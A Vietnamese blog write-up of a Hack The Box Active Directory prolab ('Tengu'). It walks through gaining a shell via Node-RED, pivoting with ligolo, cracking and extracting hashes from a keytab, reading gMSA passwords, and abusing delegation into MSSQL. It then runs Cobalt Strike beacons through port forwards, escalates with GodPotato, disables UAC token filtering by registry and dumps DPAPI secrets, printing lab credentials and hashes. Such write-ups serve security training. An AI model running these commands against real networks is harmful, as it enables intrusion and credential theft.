Skip to main content

Command Palette

Search for a command to run...

Setup lab & trick

Updated
•7 min read•View as Markdown
Setup lab & trick

setup web

sudo sysctl -p
sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE

Máy window, ở đây 10.13.38.40 là entrypoint của target, có thể thay bằng subnet mạng nm phải chỉnh subnet mask lại, 192.168.71.180 chính là máy mình vpn đến htb (cái máy chạy 2 lệnh sudo trên).

C:\Windows\System32>route add 10.13.38.40 MASK 255.255.255.255 192.168.71.180
 OK!

Ok từ h sẽ truy cập web qua con windows được rồi, flow

Windows → Kali → HTB

Lab info:

Our env:

Recon:

Port kia trông khá lạ nên ta sẽ thử -sV -sC thêm port đó

\=> đây là 1 dịch vụ web gì đó

Truy cập qua web

Lần đầu tiếp xúc với node-Red nm không sao, ta thấy sẵn mấy tag exec các thứ rồi, việc còn lại là tra gg, xưa thì tra gpt chứ bây giờ tra gg cũng không khác gì mấy =)), cứ làm theo hướng dẫn step by step để vẽ flow ra thôi

Theo hướng dẫn thì tạo cục inject nối vào exec rồi nối 3 output của exec ra 3 cục debug, bấm deploy trên góc phải rồi bấm vào cục inject thì chain sẽ kích hoạt

Oce trigger thành công

Sau khi xác nhận có outbound rồi thì làm gì, lấy shell?

Quá vội rồi, tiếp theo ta setup shell management lên, ở đây mình dùng penelope

Vẫn quy trình cũ, hãy nhớ tạo session tmux rồi chạy, bạn không muốn phải làm lại từ đầu khi phải tắt terminal đâu =))), khởi chạy penelope và bấm p để lấy payload

Qua recon sợ bộ ta thấy con máy này có 2 interface, cái còn lại đấu với network internal

domain name là tengu.vl

Sau đó kéo src của node-RED về để xem có gì lấy ra được không sau khi chạy linpeas mà không thu thập được gì quan trọng lắm.

Với sự giúp sức của AI =))), quá tuyệt, nó tự extract ra data cần và xác định key, thuật toán rồi tự decrypt cho luôn

Thời gian lâu do đây là lần đầu dùng nên mình treo mà con AI này lần đâu chạy nó sẽ hỏi mình có được phép chạy lệnh này ko lệnh kia không =))))

nodered_connector:DreamPuppyOverall25

Trên máy hiện tại không có gì để leo lên cả, cũng không tận dụng được password này (theo mình check là như thế), có thể có trick lỏ => lấy shell meterpreter rồi chạy exploit kernal để lấy root

setup ligolo

sudo ip tuntap add user thered mode tun ligolo
sudo ip link set ligolo up

Tiếp theo chạy server ligolo lên (nhớ là trong tmux), rồi chạy agent để kết nối đến

Thêm ip route

sudo ip route add 192.168.50.0/24 dev ligolo

Tiếp đến là recon xem cái credential kia có làm được trò gì không :333

Theo lệnh realm list và machine name thì có con máy SQL, mà cred này cũng từ db ra

Scan subnet 192

Tận dụng nxc để lấy ra name của machine này

Có vẻ như không thể login rồi =((

Open 192.168.50.12:1433
Open 192.168.50.12:3389
Open 192.168.50.12:5985

Máy này có mở ra mssql thì thử auth xem rồi có abuse được gì không

af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147:Tengu123 (https://crackstation.net/)

t2_m.winters:Tengu123

nodered_connector:DreamPuppyOverall25

Hơi lại khi rockyou.txt không có pass này =)))

SMB share mà không ra gì nên vì thế mình chạy luôn bloodhoundpython xem ntn

One command line =))

docker run -it \
  -p 7474:7474 \
  -e DISPLAY=unix$DISPLAY \
  -v /tmp/.X11-unix:/tmp/.X11-unix \
  --device=/dev/dri:/dev/dri \
  -v $(pwd)/bh-data:/data \
  --name bloodhound belane/bloodhound

Nhưng không abuse được gì rồi, thử ldapdump để xem có password nào có trong desc không =)))

 ldapdomaindump  ldap://DC.tengu.vl -u 'tengu.vl\t2_m.winters' -p 'Tengu123' -o log

Kết quả ko có pass trong trong desc cả =((, nhưng user của chúng ta lại là admin linux gì đây. Lab này có 3 máy thôi mà chỉ có 1 con entrypoint là linux thì khả năng cao cred này login được ssh của linux, thực ra nếu không biết struct mạng sẵn thì có thể thử login xem có reuse được không.

PE dễ thật =)))))

Sau đó với con máy có acc join domain, thật sự cũng rất hiếm gặp các bài có máy linux join kiểu này nên mình cũng quên đi các file config nằm đâu rồi =(((, nm không nhớ thì hỏi AI thôi =)), chỉ cần biết mình cần làm gì để đặt câu hỏi thôi, việc exploit các lab như này không khó vì không có monitor nên cứ quậy đục nước th =)))

Kết quả

Kéo về máy và thử extract ra

Sử dụng https://github.com/sosdave/KeyTabExtract/blob/master/keytabextract.py để extract hash từ keytab file => thu được hash của machine NODERED

[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
        REALM : TENGU.VL
        SERVICE PRINCIPAL : NODERED$/
        NTLM HASH : d4210ee2db0c03aa3611c9ef8a4dbf49
        AES-256 HASH : 4ce11c580289227f38f8cc0225456224941d525d1e525c353ea1e1ec83138096
        AES-128 HASH : 3e04b61b939f61018d2c27d4dc0b385f

Tìm qua bloodhound thì thấy machine này có quyền abuse ReadGMSAPassword đối với machine GMAS01$

cái phần bôi đen trước này là LMHASH, phần này không còn dùng nữa trong các hệ thống AD rồi nm với 1 số tool thì vẫn phải cung cấp thì mới chạy được =)).

 > gsg_gMSA01
 > Linux_Server
gMSA01$:::c7bb89a1524cd218ed585d571c02f558
gMSA01$:aes256-cts-hmac-sha1-96:c933f24a573f7829c3a9b4bf546fefd3bd3dafd8d4fc5d9785ef1641550d6937
gMSA01$:aes128-cts-hmac-sha1-96:3bfe0195f3a3935f048b70588968b204
Users or groups who can read password for gMSA02$:
 > gsg_gMSA01

Next

Hẹ hẹ, chủ đề delegation đây r =)))

Chạy script lần đầu với Admin thì không login được nên chuyển hướng sang user t1_m.winters

Là 1 SQL admins =)))

thered@therednowhere prolab/Tengu » export KRB5CCNAME=./t1_m.winters@MSSQLSvc_sql.tengu.vl@TENGU.VL.ccache
thered@therednowhere prolab/Tengu » impacket-mssqlclient -k -no-pass t1_m.winters@sql.tengu.vl

Từ SQL muốn đụng đến máy kali thì phải đi qua con entrypoint => phải tạo portfw để chuyển tiếp lưu lượng từ SQL → entrypoint machine → kali

Tạo 1234 → 4444 dùng để tải file beacon lên

Dùng 8088 → 80 để beacon connect về 8088 trên máy entrypoint → fw về 80 máy kali

Vì thế nên cũng phải tạo ra 2 listener trên cs

Có connect về rồi =)))

Thật ra lúc đầu định lấy revshell về nm shell gen ra từ penelope dài quá + lười tìm nên tính chạy 1 line cmd powershell down beacon về cơ nm không được vì beacon dài => lỡ rồi nên làm tiếp hướng c2 này nên chia ra từng bước, up lên rồi chạy sau

Vì là admin SQL và sau khi check thì có SeImpersonatePrivilege => chạy GodPotato, mình chạy SweetPotato không được =((((

Về cơ chế thì thật sự mình con khá quên mấy cái potato này =((, có thời gian mình sẽ ngâm lại sau nm thankiu cs vì đã quá mạnh

lấy được session của administrator

execute-assembly /home/thered/workspace/tool/GodPotato-NET35.exe -cmd "powershell c:\abc\Beacon_x64.exe"

Tiếp đến trong cache thì có user fowler và dpi thì cũng có luôn

Nhưng mà lại không tìm ra được path AppData\Local\Microsoft\Credentials =((, lười làm manual quá nên mình sẽ tận dụng module dpapi của netexec, trước tiên muốn dùng thì cần có auth vì thế nên tạo 1 acc gán quyền admin local và chạy lệnh sau để tắt UAC cho các phiên đăng nhập với quyền admin.

Mặc định trên Windows (từ Vista/Server 2008 trở đi), nếu bạn dùng một tài khoản thuộc nhóm Local Administrators (nhưng không phải là tài khoản Administrator mặc định có RID 500) để kết nối tới máy tính đó từ xa (qua mạng): Windows sẽ tước bỏ (strip) quyền Admin trong token của phiên đăng nhập đó.

Kết quả: Dù user đó là Admin, bạn không thể truy cập vào các ổ đĩa quản trị (C$, ADMIN$) hoặc chạy lệnh từ xa (Psexec, WMI) được. Bạn sẽ bị báo lỗi "Access Denied".

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

SharpDPAPI.exe machinecredentials để lấy ra ntlm hash lưu trong DPAPI

Sau khi chạy SharpDPAPI thì có hash rồi log qua DC lấy flag cuối thôi :33